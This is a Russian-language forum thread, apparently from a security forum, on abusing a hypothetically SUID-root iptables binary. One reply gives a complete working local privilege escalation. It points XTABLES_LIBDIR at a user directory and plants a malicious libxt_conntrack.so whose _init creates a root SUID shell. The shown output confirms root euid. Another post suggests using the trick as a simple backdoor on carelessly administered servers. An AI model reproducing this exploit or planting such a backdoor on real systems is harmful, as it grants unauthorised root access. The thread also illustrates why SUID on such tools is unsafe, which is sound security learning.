Старый 17.12.2014, 13:50   #1
12309
 
Регистрация: 25.12.2011
Сообщений: 265
Репутация: 33
По умолчанию iptables SUID

представим гипотетическую ситуацию:
Код:
-rwsr-xr-x root root  /usr/sbin/iptables
ваши действия?
12309 вне форума   Ответить с цитированием
Старый 17.12.2014, 16:15   #2
nobody
 
Аватар для nobody
 
Регистрация: 05.07.2010
Сообщений: 176
Репутация: 130
По умолчанию

ресёрчим
Код:
nobody @ cares -> ltrace iptables
__libc_start_main(0x403220, 1, 0x7fffc00a3a68, 0x40eb50 <unfinished ...>
__xpg_basename(0x7fffc00a5c4e, 0x7fffc00a3a68, 0x40ec80, 0)                                                             = 0x7fffc00a5c4e
strcmp("iptables", "iptables")                                                                                          = 0
xtables_init_all(0x614500, 2, 8, 0)                                                                                     = 0
getopt_long(1, 0x7fffc00a3a68, "-:A:C:D:R:I:L::S::M:F::Z::N:X::E"..., 0x614540, nil)                                    = -1
__fprintf_chk(0x7f169f65d700, 1, 0x40f805, 0x40ebe4iptables v1.4.21: )                                                                    = 18
__vfprintf_chk(0x7f169f65d700, 1, 0x40fa4a, 0x7fffc00a3658no command specified)                                                             = 20
fputc('\n', 0x7f169f65d700
)                                                                                             = 10
__fprintf_chk(0x7f169f65d700, 1, 0x40fc20, 0x40ebe4Try `iptables -h' or 'iptables --help' for more information.
)                                                                    = 61
xtables_free_opts(1, 61, 0x7f169f65ea30, -1)                                                                            = 0x614500
exit(2 <no return ...>
+++ exited (status 2) +++
nobody @ cares -> cd src/iptables/src/iptables-1.4.21 
nobody @ cares -> grep -rnw -e 'xtables_init_all' ./ --include '*c'
./libxtables/xtables.c:258:int xtables_init_all(struct xtables_globals *xtp, uint8_t nfproto)
./iptables/ip6tables-save.c:132:        c = xtables_init_all(&ip6tables_globals, NFPROTO_IPV6);
./iptables/iptables-save.c:131: c = xtables_init_all(&iptables_globals, NFPROTO_IPV4);
./iptables/ip6tables-standalone.c:48:   ret = xtables_init_all(&ip6tables_globals, NFPROTO_IPV6);
./iptables/iptables-restore.c:195:      c = xtables_init_all(&iptables_globals, NFPROTO_IPV4);
./iptables/ip6tables-restore.c:195:     c = xtables_init_all(&ip6tables_globals, NFPROTO_IPV6);
./iptables/iptables-standalone.c:49:    ret = xtables_init_all(&iptables_globals, NFPROTO_IPV4);
nobody @ cares -> vim ./libxtables/xtables.c
экстеншены грузяться по дефолту из /usr/lib/iptables/ но оказывается можно и через переменную окружения
Код:
 258 int xtables_init_all(struct xtables_globals *xtp, uint8_t nfproto)
 259 {
 260   xtables_init();
 261   xtables_set_nfproto(nfproto);
 262   return xtables_set_params(xtp);
 263 }
Код:
 191 void xtables_init(void)
 192 {
 193   xtables_libdir = getenv("XTABLES_LIBDIR");
 194   if (xtables_libdir != NULL)
 195     return;
/* etc */
проверим
Код:
nobody @ cares -> export XTABLES_LIBDIR=/tmp/wut
nobody @ cares -> strace -e stat iptables -A INPUT -m conntrack -ctstate ESTABLISHED -j ACCEPT
stat("/tmp/wut/libxt_conntrack.so", 0x7fffc42fd110) = -1 ENOENT (No such file or directory)
stat("/tmp/wut/libipt_conntrack.so", 0x7fffc42fd110) = -1 ENOENT (No such file or directory)
iptables v1.4.21: Couldn't load match `conntrack':No such file or directory

Try `iptables -h' or 'iptables --help' for more information.
+++ exited with 2 +++
nobody @ cares -> find . | grep 'conntrack.c$'
./extensions/libxt_conntrack.c
nobody @ cares -> vim ./extensions/libxt_conntrack.c
Код:
/* bla bla bla */
1325 void _init(void)
1326 {
1327   xtables_register_matches(conntrack_mt_reg, ARRAY_SIZE(conntrack_mt_reg));
1328 }
загрузка начинается с _init. Ясно-понятно.
Код:
nobody @ cares -> vim pew.c 
nobody @ cares -> cat pew.c 
#include <stdlib.h>

void _init(void) {
        setuid(geteuid());
        system("cp /bin/sh /tmp/wut && chown 0:0 /tmp/wut/sh && chmod 4755 /tmp/wut/sh");
}
nobody @ cares -> cc pew.c -shared -nostdlib -fPIC -o ./libxt_conntrack.so     
nobody @ cares -> iptables -A INPUT -m conntrack -ctstate ESTABLISHED -j ACCEPT
iptables v1.4.21: Couldn't load match `conntrack':No such file or directory

Try `iptables -h' or 'iptables --help' for more information.
[2] nobody @ cares -> ls -la
total 780
drwsr-xr-x  2 n0body n0body    100 Dec 17 21:14 .
drwxrwxrwt 14 root   root      340 Dec 17 21:14 ..
-rwx------  1 n0body n0body   3426 Dec 17 21:14 libxt_conntrack.so
-rw-------  1 n0body n0body    145 Dec 17 21:14 pew.c
-rwsr-xr-x  1 root   root   787584 Dec 17 21:14 sh
nobody @ cares -> ./sh -p -c id
uid=1000(n0body) gid=1000(n0body) euid=0(root) groups=1000(n0body),91(video),92(audio)
p.s. к слову, есть еще опция --modprobe, но мой способ сходу заработал без лишних копаний и разбирательств как что работает.
p.p.s. Где ты такое нашёл что иптейблс суидный?
__________________
Sad panda
nobody вне форума   Ответить с цитированием
Старый 17.12.2014, 17:19   #3
12309
 
Регистрация: 25.12.2011
Сообщений: 265
Репутация: 33
По умолчанию

круто, спасибо.
нигде не нашёл, продумывал фаервол на php, как пользоваться iptables из скриптов. первое, что пришло в голову - SUID на iptables, но был почти уверен, что через это могут похекать, а сейчас точно уверен что ж, буду круто фильтровать входные данные.

также это можно использовать как простой бэкдор, если на сервере админы лентяи.
12309 вне форума   Ответить с цитированием
Старый 18.12.2014, 11:49   #4
SynQ
 
Регистрация: 11.07.2010
Сообщений: 953
Репутация: 352
По умолчанию

nobody
Маг и волшебник
Круто!
SynQ вне форума   Ответить с цитированием
Ответ

Опции темы Поиск в этой теме
Поиск в этой теме:

Расширенный поиск
Опции просмотра

Ваши права в разделе
Вы не можете создавать новые темы
Вы не можете отвечать в темах
Вы не можете прикреплять вложения
Вы не можете редактировать свои сообщения

BB коды Вкл.
Смайлы Вкл.
[IMG] код Вкл.
HTML код Выкл.

Быстрый переход



Powered by vBulletin® Version 3.8.5
Copyright ©2000 - 2019, Jelsoft Enterprises Ltd. Перевод: zCarot